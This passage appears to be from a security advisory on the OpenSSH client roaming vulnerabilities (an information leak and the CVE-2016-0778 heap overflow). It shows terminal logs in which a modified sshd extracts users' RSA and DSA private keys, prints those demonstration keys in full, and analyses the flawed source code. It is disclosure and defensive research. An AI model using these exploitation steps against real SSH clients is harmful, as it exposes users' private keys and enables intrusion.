user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed] # cat /tmp/roaming-35ee7ab0/infoleak MIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc VEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL 9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175 ynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn w8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU MANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh oxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY mwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M k3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G +umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95 n5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt 8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw rsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5 cMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb 3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV WGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ pCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM T32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY FTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1 /tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS $ /usr/bin/ssh -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed] # cat /tmp/roaming-6cb31d82/infoleak ... uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1 /tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS Y1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0= ------------------------------------------------------------------------ Private Key Disclosure example: OpenBSD 5.8, 2048-bit RSA key ------------------------------------------------------------------------ $ head -n 1 /etc/motd OpenBSD 5.8 (GENERIC) #1066: Sun Aug 16 02:33:00 MDT 2015 $ /usr/bin/ssh -V OpenSSH_7.0, LibreSSL 2.2.2 $ cat ~/.ssh/id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAwe9ssfYbABhOGxnBDsPf5Hwypr3tVz4ZCK2Q9ZWWBYnk+KVL ruLv7NWzeuKF7ls8z4SdpP/09QIIWQO5xWmQ7OM7ndfHWexFoyS/MijorHLvwG1s 17KFF8aC5vcBTfVkWnFaERueyd+mxv+oIrskA3/DK7/Juojkq70aPAdafiWOuVT8 L/2exFuzpSmwiXbPuiPgImO9O+9VQ4flZ4qlO18kZxXF948GisxxkceOYWTIX6uh xSs/NEGF/drmB4RTAL1ZivG+e4IMxs5naLz4u3Vb8WTDeS6D62WM1eq5JRdlZtGP vavL01Kv3sYFvoD0OPUU4BjU8bd4Qb30C3719wIDAQABAoIBAG4zFpipN/590SQl Jka1luvGhyGoms0QRDliJxTlwzGygaGoi7D800jIxgv13BTtU0i4Grw/lXoDharP Kyi6K9fv51hx3J2EXK2vm9Vs2YnkZcf6ZfbLQkWYT5nekacy4ati7cL65uffZm19 qJTTsksqtkSN3ptYXlgYRGgH5av3vaTSTGStL8D0e9fcrjSdN0UntjBB7QGT8ZnY gQ1bsSlcPM/TB6JYmHWdpCAVeeCJdDhYoHKlwgQuTdpubdlM80f6qat7bsm95ZTK QolQFpmAXeU4Bs5kFlm0K0qYFkWNdI16ScOpK6AQZGUTcHICeRL3GEm6NC0HYBNt gKHPucECgYEA7ssL293PZR3W9abbivDxvtCjA+41L8Rl8k+J0Dj0QTQfeHxHD2eL cQO2lx4N3E9bJMUnnmjxIT84Dg7SqOWThh3Rof+c/vglyy5o/CzbScISQTvjKfuB +s5aNojIqkyKaesQyxmdacLxtBBppZvzCDTHBXvAe4t8Bus2DPBzbzsCgYEAz+jl hcsMQ1egiVVpxHdjtm3+D1lbgITk0hzIt9DYEIMBJ7y5Gp2mrcroJAzt7VA2s7Ri hBSGv1pjz4j82l00odjCyiUrwvE1Gs48rChzT1PcQvtPCCanDvxOHwpKlUTdUKZh vhxPK/DW3IgUL0MlaTOjncR1Zppz4xpF/cSlYHUCgYB0MhVZLXvHxlddPY5C86+O nFNWjEkRL040NIPo8G3adJSDumWRl18A5T+qFRPFik/depomuQXsmaibHpdfXCcG 8eeaHpm0b+dkEPdBDkq+f1MGry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra uWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc prs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO ZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V 8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp ppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz uiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg== -----END RSA PRIVATE KEY----- # "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key $ /usr/bin/ssh -o ProxyCommand="/usr/bin/nc -w 1 %h %p" -p 222 127.0.0.1 [connection suspended, press return to resume]Segmentation fault (core dumped) (this example requires a ProxyCommand because of the NULL-aitop bug described in the Mitigating Factors of the Information Leak section, and crashes because of the NULL-pointer dereference discussed in the Mitigating Factors of the Buffer Overflow section) # cat /tmp/roaming-a5eca355/infoleak ry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra uWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc prs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO ZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V 8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp ppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz uiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg== ------------------------------------------------------------------------ Private Key Disclosure example: CentOS 7, 1024-bit DSA key ------------------------------------------------------------------------ $ grep PRETTY_NAME= /etc/os-release PRETTY_NAME="CentOS Linux 7 (Core)" $ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013 $ cat ~/.ssh/id_dsa -----BEGIN DSA PRIVATE KEY----- MIIBvQIBAAKBgQDmjJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe kt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5n GLnZn1lmDldNaqhV0ECESXZVEpq/8TR2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a Nmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC o7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsCioD2 hUaU7sV6Nho9fJIclxuxZP8j+uzidQKKN/+CVbQougsLsBlstpuQ4Hr2DHmalL8X iISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/ QlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS F9AoVoZFKEGn4FEoYIqY3a4= -----END DSA PRIVATE KEY----- # env ROAMING="heap_massaging:linux" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key $ /usr/bin/ssh -p 222 127.0.0.1 ... # strings /tmp/roaming-b7b16dfc/infoleak jJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe kt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5 # strings /tmp/roaming-b324ce87/infoleak IuQL R2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a Nmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC o7l7mJT+lI9v # strings /tmp/roaming-24011739/infoleak KjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC o7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsC # strings /tmp/roaming-37456846/infoleak LsBlstpuQ4Hr2DHmalL8X iISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZNA yq4Kwj/ # strings /tmp/roaming-988ff54c/infoleak GBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/ # strings /tmp/roaming-53887fa5/infoleak /4oatxFUV5V8aniqyq4Kwj/ QlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS F9AoVoZFKEGn4FEoYIqY3a4 ------------------------------------------------------------------------ Private Key Disclosure example: Fedora 20, 2048-bit RSA key ------------------------------------------------------------------------ $ grep PRETTY_NAME= /etc/os-release PRETTY_NAME="Fedora 20 (Heisenbug)" $ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013 $ cat ~/.ssh/id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAmbj/XjOppLWSAhuLKiRoHsdp66LJdY2PvP0ht3GWDKKCk7Gz HLas5VjotS9rmupavGGDiicMHPClOttWAI9MRyvP77iZhSei/RzX1/UKk/broTDp o9ljBnQTzRAyw8ke72Ih77SOGfOLBvYlx80ZmESLYYH95aAeuuDvb236JnsgRPDQ /B/gyRIhfqis70USi05/ZbnAenFn+v9zoSduDYMzSM8mFmh9f+9PVb9qMHdfNkIy 2E78kt9BknU/bEcCWyL+IXNLV0rgRGAcE0ncKu13YvuH/7o4Q7bW2FYErT4P/FHK cRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o 6GEmk/oB9w9gf1zGqWkTytMiqcawMW4LZAJlSI/rGWe7lYHuceZSSgzd5lF4VP06 Xz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV JQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+prtAxpPNfKElEV7ZPBrTRAuCUr Hiy7yflZ3w0qHekNafX/tnWiU4zi/p6aD4rs10YaYSnSolsDs2k8wHbVP4VtLE8l PRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ rtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo /euhzdYixxIkfqyopnYFoER26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot gxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa jwj3EZsXmtP+wd3fhge7pIHp5RiKfBn0JtSvXQQHO0k0eEcQ4aA/6yESI62wOuaY vJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y 3fBC3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF Q4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P pdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU dz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4syLfm qK+cwb7uCSi5PfloRiLryPdvnobDGLfFGdOHaX7km+4u5+taYg2Er8IsAxtMNwM5 r5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp P/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+ ZS16+aH97RKdJD/4qiskzzHvZs+wi4LKPHHHz7ETXr/m4CRfMIU= -----END RSA PRIVATE KEY----- # env ROAMING="heap_massaging:linux" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key $ /usr/bin/ssh -p 222 127.0.0.1 ... # strings /tmp/roaming-a2bbc5f6/infoleak cRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CG # strings /tmp/roaming-47b46456/infoleak RGAcE0nc GCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o 6GEmk/oB9 # strings /tmp/roaming-7a6717ae/infoleak cawMW4LZ1 Xz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV JQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+p # strings /tmp/roaming-f3091f08/infoleak lZ3w0qHe nSolsDs2k8wHbVP4VtLE8l PRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ # strings /tmp/roaming-62a9e9a3/infoleak lZ3w0qHe r3TwTa0pPEk11 LbcsTEJ rtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo /euhzdYixxIkfqyopnYFoER26u37/OHe37P # strings /tmp/roaming-8de31ed5/infoleak 7qyvNznQ 26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot gxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa # strings /tmp/roaming-f5e0fbcc/infoleak yESI62wOuaY vJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y 3fBC3h9BN5banCw6VKfnvm8/q+bwSxS # strings /tmp/roaming-9be933df/infoleak QRtzK/GpRuMC1 C3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF Q4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmT # strings /tmp/roaming-ee4d1e6c/infoleak SG3aTqYp tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P pdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//s # strings /tmp/roaming-c2bfd69c/infoleak SG3aTqYp 6JmTOun5zVV6A H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU dz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4s # strings /tmp/roaming-2b3217a1/infoleak DGLfFGdO r5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp P/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCQ # strings /tmp/roaming-1e275747/infoleak g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+ ======================================================================== Buffer Overflow (CVE-2016-0778) ======================================================================== ------------------------------------------------------------------------ Analysis ------------------------------------------------------------------------ Support for roaming was elegantly added to the OpenSSH client: the calls to read() and write() that communicate with the SSH server were replaced by calls to roaming_read() and roaming_write(), two wrappers that depend on wait_for_roaming_reconnect() to transparently reconnect to the server after a disconnection. The wait_for_roaming_reconnect() routine is essentially a sequence of four subroutines: 239 int 240 wait_for_roaming_reconnect(void) 241 { ... 250 fprintf(stderr, "[connection suspended, press return to resume]"); ... 252 packet_backup_state(); 253 /* TODO Perhaps we should read from tty here */ 254 while ((c = fgetc(stdin)) != EOF) { ... 259 if (c != 'n' && c != 'r') 260 continue; 261 262 if (ssh_connect(host, &hostaddr, options.port, ... 265 options.proxy_command) == 0 && roaming_resume() == 0) { 266 packet_restore_state(); ... 268 fprintf(stderr, "[connection resumed]n"); ... 270 return 0; 271 } 272 273 fprintf(stderr, "[reconnect failed, press return to retry]"); ... 275 } 276 fprintf(stderr, "[exiting]n"); ... 278 exit(0); 279 } 1. packet_backup_state() close()s connection_in and connection_out (the old file descriptors that connected the client to the server), and saves the state of the suspended SSH session (for example, the encryption and decryption contexts). 2. ssh_connect() opens new file descriptors, and connects them to the SSH server. 3. roaming_resume() negotiates the resumption of the suspended SSH session with the server, and calls resend_bytes(). 4. packet_restore_state() updates connection_in and connection_out (with the new file descriptors that connect the client to the server), and restores the state of the suspended SSH session. The new file descriptors for connection_in and connection_out may differ from the old ones (if, for example, files or pipes or sockets are opened or closed between two successive ssh_connect() calls), but unfortunately historical code in OpenSSH assumes that they are constant: - In client_loop(), the variables connection_in and connection_out are cached locally, but packet_write_poll() calls roaming_write(), which may assign new values to connection_in and connection_out (if a reconnection occurs), and client_wait_until_can_do_something() subsequently reuses the old, cached values. - client_loop() eventually updates these cached values, and the following FD_ISSET() uses a new, updated file descriptor (the fd connection_out), but an old, out-of-date file descriptor set (the fd_set writeset). - packet_read_seqnr() (old API, or ssh_packet_read_seqnr(), new API) first calloc()ates setp, a file descriptor set for connection_in; next, it loops around memset(), FD_SET(), select() and roaming_read(); last, it free()s setp and returns. Unfortunately, roaming_read() may reassign a higher value to connection_in (if a reconnection occurs), but setp is never enlarged, and the following memset() and FD_SET() may therefore overflow setp (a heap-based buffer overflow): 1048 int 1049 packet_read_seqnr(u_int32_t *seqnr_p) 1050 { .... 1052 fd_set *setp; .... 1058 setp = (fd_set *)xcalloc(howmany(active_state->connection_in + 1, 1059 NFDBITS), sizeof(fd_mask)); .... 1065 for (;;) { .... 1075 if (type != SSH_MSG_NONE) { 1076 free(setp); 1077 return type; 1078 } .... 1083 memset(setp, 0, howmany(active_state->connection_in + 1, 1084 NFDBITS) * sizeof(fd_mask)); 1085 FD_SET(active_state->connection_in, setp); .... 1092 for (;;) { .... 1097 if ((ret = select(active_state->connection_in + 1, setp, 1098 NULL, NULL, timeoutp)) >= 0) 1099 break; .... 1115 } .... 1117 do { .... 1119 len = roaming_read(active_state->connection_in, buf, 1120 sizeof(buf), &cont); 1121 } while (len == 0 && cont); .... 1130 } 1131 /* NOTREACHED */ 1132 } - packet_write_wait() (old API, or ssh_packet_write_wait(), new API) is basically similar to packet_read_seqnr() and may overflow its own setp if roaming_write() (called by packet_write_poll()) reassigns a higher value to connection_out (after a successful reconnection): 1739 void 1740 packet_write_wait(void) 1741 { 1742 fd_set *setp; .... 1746 setp = (fd_set *)xcalloc(howmany(active_state->connection_out + 1, 1747 NFDBITS), sizeof(fd_mask)); 1748 packet_write_poll(); 1749 while (packet_have_data_to_write()) { 1750 memset(setp, 0, howmany(active_state->connection_out + 1, 1751 NFDBITS) * sizeof(fd_mask)); 1752 FD_SET(active_state->connection_out, setp); .... 1758 for (;;) { .... 1763 if ((ret = select(active_state->connection_out + 1, 1764 NULL, setp, NULL, timeoutp)) >= 0) 1765 break; .... 1776 } .... 1782 packet_write_poll(); 1783 } 1784 free(setp); 1785 } ------------------------------------------------------------------------ Mitigating Factors ------------------------------------------------------------------------ This buffer overflow affects all OpenSSH clients >= 5.4, but its impact is significantly reduced by the Mitigating Factors detailed in the Information Leak section, and additionally: - OpenSSH versions >= 6.8 reimplement packet_backup_state() and packet_restore_state(), but introduce a bug that prevents the buffer overflow from being exploited; indeed, ssh_packet_backup_state() swaps two local pointers, ssh and backup_state, instead of swapping the two global pointers active_state and backup_state: 9 struct ssh *active_state, *backup_state; ... 238 void 239 packet_backup_state(void) 240 { 241 ssh_packet_backup_state(active_state, backup_state); 242 } 243 244 void 245 packet_restore_state(void) 246 { 247 ssh_packet_restore_state(active_state, backup_state); 248 } 2269 void 2270 ssh_packet_backup_state(struct ssh *ssh, 2271 struct ssh *backup_state) 2272 { 2273 struct ssh *tmp; .... 2279 if (backup_state) 2280 tmp = backup_state; 2281 else 2282 tmp = ssh_alloc_session_state(); 2283 backup_state = ssh; 2284 ssh = tmp; 2285 } .... 2291 void 2292 ssh_packet_restore_state(struct ssh *ssh, 2293 struct ssh *backup_state) 2294 { 2295 struct ssh *tmp; .... 2299 tmp = backup_state; 2300 backup_state = ssh; 2301 ssh = tmp; 2302 ssh->state->connection_in = backup_state->state->connection_in; As a result, the global pointer backup_state is still NULL when passed to ssh_packet_restore_state(), and crashes the OpenSSH client when dereferenced: # env ROAMING="overflow:A fd_leaks:0" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key $ /usr/bin/ssh -V OpenSSH_6.8, LibreSSL 2.1 $ /usr/bin/ssh -o ProxyCommand="/usr/bin/nc -w 15 %h %p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume]Segmentation fault (core dumped) This bug prevents the buffer overflow from being exploited, but not the information leak, because the vulnerable function resend_bytes() is called before ssh_packet_restore_state() crashes. - To the best of our knowledge, this buffer overflow is not exploitable in the default configuration of the OpenSSH client; the conclusion of the File Descriptor Leak section suggests that two non-default options are required: a ProxyCommand, and either ForwardAgent (-A) or ForwardX11 (-X). ------------------------------------------------------------------------ File Descriptor Leak ------------------------------------------------------------------------ A back-of-the-envelope calculation indicates that, in order to increase the file descriptor connection_in or connection_out, and thus overflow the file descriptor set setp in packet_read_seqnr() or packet_write_wait(), a file descriptor leak is needed: - First, the number of bytes calloc()ated for setp is rounded up to the nearest multiple of sizeof(fd_mask): 8 bytes (or 64 file descriptors) on 64-bit systems. - Next, in glibc, this number is rounded up to the nearest multiple of MALLOC_ALIGNMENT: 16 bytes (or 128 file descriptors) on 64-bit systems. - Last, in glibc, a MIN_CHUNK_SIZE is enforced: 32 bytes on 64-bit systems, of which 24 bytes (or 192 file descriptors) are reserved for setp. - In conclusion, a file descriptor leak is needed, because connection_in or connection_out has to be increased by hundreds in order to overflow setp. The search for a suitable file descriptor leak begins with a study of the behavior of the four ssh_connect() methods, when called for a reconnection by wait_for_roaming_reconnect(): 1. The default method ssh_connect_direct() communicates with the server through a simple TCP socket: the two file descriptors connection_in and connection_out are both equal to this socket's file descriptor. In wait_for_roaming_reconnect(), the low-numbered file descriptor of the old TCP socket is close()d by packet_backup_state(), but immediately reused for the new TCP socket in ssh_connect_direct(): the new file descriptors connection_in and connection_out are equal to this old, low-numbered file descriptor, and cannot possibly overflow setp. 2. The special ProxyCommand "-" communicates with the server through stdin and stdout, but (as explained in the Mitigating Factors of the Information Leak section) it cannot possibly reconnect to the server, and is therefore immune to this buffer overflow. 3. Surprisingly, we discovered a file descriptor leak in the ssh_proxy_fdpass_connect() method itself; indeed, the file descriptor sp[1] is never close()d: 101 static int 102 ssh_proxy_fdpass_connect(const char *host, u_short port, 103 const char *proxy_command) 104 { ... 106 int sp[2], sock; ... 113 if (socketpair(AF_UNIX, SOCK_STREAM, 0, sp) < 0) 114 fatal("Could not create socketpair to communicate with " 115 "proxy dialer: %.100s", strerror(errno)); ... 161 close(sp[0]); ... 164 if ((sock = mm_receive_fd(sp[1])) == -1) 165 fatal("proxy dialer did not pass back a connection"); ... 171 /* Set the connection file descriptors. */ 172 packet_set_connection(sock, sock); 173 174 return 0; 175 } However, two different reasons prevent this file descriptor leak from triggering the setp overflow: - The method ssh_proxy_fdpass_connect() communicates with the server through a single socket received from the ProxyCommand: the two file descriptors connection_in and connection_out are both equal to this socket's file descriptor. In wait_for_roaming_reconnect(), the low-numbered file descriptor of the old socket is close()d by packet_backup_state(), reused for sp[0] in ssh_proxy_fdpass_connect(), close()d again, and eventually reused again for the new socket: the new file descriptors connection_in and connection_out are equal to this old, low-numbered file descriptor, and cannot possibly overflow setp. - Because of the waitpid() bug described in the Mitigating Factors of the Information Leak section, the method ssh_proxy_fdpass_connect() calls fatal() before it returns to wait_for_roaming_reconnect(), and is therefore immune to this buffer overflow. 4. The method ssh_proxy_connect() communicates with the server through a ProxyCommand and two different pipes: the file descriptor connection_in is the read end of the second pipe (pout[0]), and the file descriptor connection_out is the write end of the first pipe (pin[1]): 180 static int 181 ssh_proxy_connect(const char *host, u_short port, const char *proxy_command) 182 { ... 184 int pin[2], pout[2]; ... 192 if (pipe(pin) < 0 || pipe(pout) < 0) 193 fatal("Could not create pipes to communicate with the proxy: %.100s", 194 strerror(errno)); ... 240 /* Close child side of the descriptors. */ 241 close(pin[0]); 242 close(pout[1]); ... 247 /* Set the connection file descriptors. */ 248 packet_set_connection(pout[0], pin[1]); 249 250 /* Indicate OK return */ 251 return 0; 252 } In wait_for_roaming_reconnect(), the two old, low-numbered file descriptors connection_in and connection_out are both close()d by packet_backup_state(), and immediately reused for the pipe(pin) in ssh_proxy_connect(): the new connection_out (pin[1]) is equal to one of these old, low-numbered file descriptors, and cannot possibly overflow setp. On the other hand, the pipe(pout) in ssh_proxy_connect() may return high-numbered file descriptors, and the new connection_in (pout[0]) may therefore overflow setp, if hundreds of file descriptors were leaked before the call to wait_for_roaming_reconnect(): - We discovered a file descriptor leak in the pubkey_prepare() function of OpenSSH >= 6.8; indeed, if the client is running an authentication agent that does not offer any private keys, the reference to agent_fd is lost, and this file descriptor is never close()d: 1194 static void 1195 pubkey_prepare(Authctxt *authctxt) 1196 { .... 1200 int agent_fd, i, r, found; .... 1247 if ((r = ssh_get_authentication_socket(&agent_fd)) != 0) { 1248 if (r != SSH_ERR_AGENT_NOT_PRESENT) 1249 debug("%s: ssh_get_authentication_socket: %s", 1250 __func__, ssh_err(r)); 1251 } else if ((r = ssh_fetch_identitylist(agent_fd, 2, &idlist)) != 0) { 1252 if (r != SSH_ERR_AGENT_NO_IDENTITIES) 1253 debug("%s: ssh_fetch_identitylist: %s", 1254 __func__, ssh_err(r)); 1255 } else { .... 1288 authctxt->agent_fd = agent_fd; 1289 } .... 1299 } However, OpenSSH clients >= 6.8 crash in ssh_packet_restore_state() (because of the NULL-pointer dereference discussed in the Mitigating Factors of the Buffer Overflow section) and are immune to the setp overflow, despite this agent_fd leak. - If ForwardAgent (-A) or ForwardX11 (-X) is enabled in the OpenSSH client (it is disabled by default), a malicious SSH server can request hundreds of forwardings, in order to increase connection_in (each forwarding opens a file descriptor), and thus overflow setp in 